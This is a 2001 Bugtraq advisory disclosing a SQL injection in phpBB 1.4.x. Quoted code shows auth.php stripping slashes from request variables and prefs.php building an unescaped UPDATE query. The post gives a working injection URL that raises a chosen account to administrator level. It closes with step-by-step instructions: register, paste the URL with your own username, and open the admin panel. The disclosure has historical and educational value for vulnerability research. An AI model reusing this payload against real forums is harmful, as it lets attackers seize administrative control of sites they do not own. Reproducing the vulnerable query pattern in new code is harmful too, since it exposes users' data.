De: <kill-9@modernhackers.com>
À: <bugtraq@securityfocus.com>
Objet: phpBB 1.4.0 bug leads to easy admin privileges
Date : vendredi 3 août 2001 23:39

-New phpBB 1.4.x exploit
phpBB, is an open source bulletin board created by 
the 
phpBB group. Version 1.4.x of phpBB has a variable 
input 
validation problem that can lead to limited arbitrary sql 
querys including gaining administrative access to the 
board.

The problem lies in the fact that phpBB 1.4.x includes 
an 
algorithm in the auth.php file which removes 
backslashes 
that php automatically adds to GPC 
(Get/Post/Cookie) 
variables.

<Example code from auth.php>

if(get_magic_quotes_gpc() == 1)
{
switch($REQUEST_METHOD){
   case "POST":
      while (list ($key, $val) = each 
($HTTP_POST_VARS)){
         if( is_array($val) ){
            array_walk($val, 'stripslashes_array', '');
            $$key = $val;}
      else{
         $$key = stripslashes($val);}
      }
   break;

</ End example code>


Therefore, certian php variables submitted through a 
URL
can reach an sql query with unescaped quotes, 
which is 
not good for security reasons. In the prefs.php file 
such
a situation exists where a user can execute an 
arbitrary
query by supplying an certian value for the 
$viewemail 
variable.

< Example sql query in prefs.php >
$sql = "UPDATE users SET 
user_viewemail='$viewemail', 
user_theme='$themes', user_attachsig = '$sig', 
user_desmile = '$smile', user_html = '$dishtml', 
user_bbcode
 = '$disbbcode', user_lang = '$lang' WHERE 
(user_id = '$userdata[user_id]')";
</ End example code >


Example URL gives a username "l337h4x0r" level 4 
(administrative) privileges the board:

<Example URL>

http://sitename/phpBBfolder/prefs.php?save=1
&viewemail=1',user_level%3D'4'%20where%
20username%3D'l337h4x0r'%23

</ End example URL>

Summary:

1. Register an account on a phpBB board version 
1.4.x .
2. Enter above URL with the correct sitename 
   and replace l337h4x0r with your username.
3. Click on "Administration Panel" near the bottom of 
the page.

found by: kill-9@modernhacker.com
http://www.modernhacker.com 